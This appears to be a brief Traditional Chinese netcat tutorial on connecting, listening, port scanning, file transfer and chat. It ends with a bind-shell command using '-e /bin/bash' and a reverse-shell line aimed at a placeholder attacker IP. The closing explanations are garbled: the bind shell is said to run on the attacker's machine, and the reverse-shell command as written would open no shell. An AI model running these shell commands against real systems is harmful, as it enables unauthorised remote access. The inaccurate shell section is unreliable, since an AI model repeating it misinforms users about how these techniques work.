netcat(通常縮寫為 nc)是一個功能強大的網絡工具,廣泛用於網絡診斷和安全測試。包括簡單的端口掃描、文件傳輸、服務端和客戶端連接等。以下是 netcat 的主要功能和用法介紹:
nc [hostname] [port]
例如,連接到 example.com 的 80 端口:
nc example.com 80
nc -l -p [port]
例如,在 1234 端口上啟動伺服器:
nc -l -p 1234
這會使 netcat 在該端口上等待連接。
掃描範圍內的端口
nc -z [hostname] [port1]-[port2]
例如,掃描 example.com 的 1 到 100 端口:
nc -z example.com 1-100
從伺服器傳輸文件到客戶端
nc -l -p [port] < [file]
例如,在 1234 端口上傳送 file.txt:
nc -l -p 1234 < file.txt
nc [hostname] [port] > [file]
例如,從 example.com 的 1234 端口接收文件:
nc example.com 1234 > file.txt
nc -l -p [port]
客戶端連接到這個端口後,你可以在伺服器端和客戶端之間進行實時聊天。
nc [hostname] [port]
nc -l -p [port] -e /bin/bash
這會在攻擊者的機器上啟動一個簡單的 shell 伺服器,並將其綁定到指定端口。
nc [attacker_IP] [port]
這會連接到攻擊者的機器,並建立一個反向 shell 連接。